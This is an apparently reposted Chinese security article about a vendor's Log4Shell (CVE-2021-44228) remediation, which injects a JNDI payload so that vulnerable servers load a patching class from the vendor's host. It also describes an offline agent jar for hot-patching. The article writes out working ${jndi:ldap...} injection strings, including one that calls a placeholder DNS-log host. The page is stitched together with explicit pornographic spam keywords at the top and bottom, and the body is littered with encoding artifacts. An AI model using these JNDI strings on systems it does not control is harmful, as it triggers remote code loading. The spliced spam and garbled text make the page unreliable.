国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

利用漏洞修復漏洞:青藤提供毒日志【免重啟】

發(fā)布時(shí)間:2022-05-18 10:03 來(lái)源:新網(wǎng)知識社區 閱讀:73 作者:中國IDC 欄目: 網(wǎng)絡(luò )安全

史詩(shī)級的漏洞CVE-2021-44228爆發(fā)以來(lái),各安全廠(chǎng)商提供了各種漏洞檢測工具,也提供了各種漏洞修復方案。但是在修復過(guò)程中遇到無(wú)盡的坑,比如更新版本需要重啟服務(wù)也不見(jiàn)得那么方便,改代碼需要一定周期,臨時(shí)修復方法錯誤(系統環(huán)境變量未生效),Log4j 2.0-2.10版本無(wú)臨時(shí)修復方案,jdk升級高版本存在bypass且仍然可以造成信息泄露等。

鑒于以上問(wèn)題,青藤推出在線(xiàn)&離線(xiàn)臨時(shí)修復方案,幫助大家迅速修復漏洞,度過(guò)“修改代碼->測試->上線(xiàn)正式升級版本”這段時(shí)間差,避免發(fā)生實(shí)際損失。

Log4jPatch原理

Log4jPatch利用本次 Log4j漏洞本身的任意代碼執行能力,將 Payload注入到目標 Java進(jìn)程中,通過(guò)反射調用,禁用了 Log4j對 jndi的支持,使得后續對該漏洞的利用無(wú)效,完成漏洞修復,總而言之,就是利用漏洞把漏洞補上。

Log4jPatch造成的影響

1.Log4j無(wú)法使用jndi,如果Log4j業(yè)務(wù)使用了jndi那么就會(huì )受到影響(這樣的程序員就應該被安全工程師吊起來(lái)打)。

2.由于注入到目標 Java進(jìn)程中的 Payload極小(<1.6KB),且變更邏輯簡(jiǎn)單,對于擔心jvm內存的用戶(hù)來(lái)說(shuō)請放心。等您進(jìn)行代碼級別的修復之后,只需要重啟服務(wù)patch就不會(huì )再駐留在內存中。

Log4jPatch修復方法

1.如何使用青藤的Log4jPatch在線(xiàn)補丁服務(wù)

1.1修復人員在漏洞注入點(diǎn)(如用戶(hù)名、搜索框、前端站點(diǎn)表單字段等等漏洞的觸發(fā)點(diǎn),不需要提供給青藤),把注入payload修改為:${jndi:ldaps://cve-2021-44228.qingteng.cn:8443/patch}。

1.2存在漏洞的業(yè)務(wù)會(huì )到cve-2021-44228.qingteng.cn去遠程加載class文件,把jvm虛擬機中的jndi給禁用。

1.3修復驗證:按照之前查找驗證存在漏洞的方式進(jìn)行測試,比如${jndi:ldap:xxxxx.dnslog.xxcnxx/exp},漏洞驗證不成功則說(shuō)明漏洞修復成功。

驗證demo

patch前后效果對比

patch前,利用漏洞訪(fǎng)問(wèn) 1.5gwpt7.dnslog.cn成功;patch后,利用漏洞訪(fǎng)問(wèn) 2.5gwpt7.dnslog.cn失敗;手動(dòng)訪(fǎng)問(wèn) curl 3.5gwpt7.dnslog.cn成功,證明 dnslog有效(附時(shí)間戳證明連續性)。

2.如果業(yè)務(wù)無(wú)法訪(fǎng)問(wèn)互聯(lián)網(wǎng)服務(wù),還可以使用青藤提供的離線(xiàn)jar包進(jìn)行熱修復

jar包修復原理:利用 JVM提供的 Instrumentation API來(lái)更改加載到 JVM中的現有字節碼,https://docs.oracle.com/javase/6/docs/api/java/lang/instrument/Instrumentation.html。在不重啟Java進(jìn)程的情況下,修改org.apache.logging.log4j.core.lookup.JndiLookup類(lèi)的lookup方法,固定返回Patched JndiLookup::lookup()。

2.1https://cve-2021-44228.qingteng.cn/patch/jar/cve-2021-44228-qingteng-patch.tar.gz地址下載Log4jPatch的jar包。

2.2 Log4jPatch的jar包上傳到存在漏洞的服務(wù)器,然后執行命令。

Linux:傳到服務(wù)器,然后解壓,cd進(jìn)入到解壓后的cve-2021-44228-qingteng-patch目錄,參考 README.md,執行 attach.sh。

attach.sh例子

●./attach.sh不帶pid將使用jps列出此機器上所有java進(jìn)程,然后輸入行號選擇進(jìn)程來(lái)進(jìn)行注入修復,輸入all將會(huì )注入所有列出的java進(jìn)程。

●可輸入多個(gè),空格分割。

windows:

●雙擊 attach.bat,然后輸入java進(jìn)程pid

●或者cmd命令行里傳入pid,例如: attach.bat pid

2.3離線(xiàn)的修復驗證:按照之前查找驗證存在漏洞的方式進(jìn)行測試,如:burpcollaborator進(jìn)行驗證,漏洞驗證不成功則說(shuō)明漏洞修復成功。

注意:使用以上兩種修復方式需要您擁有系統的所有權,并且理解修復的原理和方法。

FAQ:

Q:青藤怎么保證修復方式安全可靠?

A:

1.青藤完全不需要您提供業(yè)務(wù)的漏洞細節,這完全掌握您的手中,我們并不清楚也不需要具體的注入點(diǎn);

2.源碼開(kāi)源,項目地址:

https://github.com/qingtengyun/cve-2021-44228-qingteng-online-patch和https://github.com/qingtengyun/cve-2021-44228-qingteng-patch;

3.開(kāi)源項目中提供了所用到的class文件和jar包文件的hash值;

4.到https://cve-2021-44228.qingteng.cn/patch/class/patch.class和https://cve-2021-44228.qingteng.cn/patch/jar/cve-2021-44228-qingteng-patch.tar.gz下載class文件和jar包進(jìn)行對比。

Q:青藤patch修復之后就永久生效么?

A:只要不重啟服務(wù),該方式可以一直生效,一旦您重啟了服務(wù),需要再次對注入點(diǎn)打patch,直到代碼級修復上線(xiàn)。

Q:青藤提供的修復支持的java版本是多少?

A:在線(xiàn)修復patch支持JDK版本6、7、8、9、10、11,離線(xiàn)修復的支持JDK版本6、7、8、9、10、11。

Q:我不知道注入點(diǎn)在哪里,但是引用了Log4j,能使用青藤的修復補丁么?

A:可以,使用離線(xiàn)jar包不需要提供注入點(diǎn),只需要知道進(jìn)程id。

Q:我不知道我有沒(méi)有用Log4j,你能幫我看看么?

A:關(guān)注公眾號「青藤技術(shù)服務(wù)」,點(diǎn)擊《一夜沒(méi)睡的你,需要快速了解主機資產(chǎn)》了解詳情。

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

国产在线观看黄AV免费| 在线观看亚洲AV每日更新无码| 国产美女裸体无遮挡免费视频| 双乳奶水饱满少妇呻吟免费看| 亚洲精品人成网线在播放VA| R级无码视频在线观看|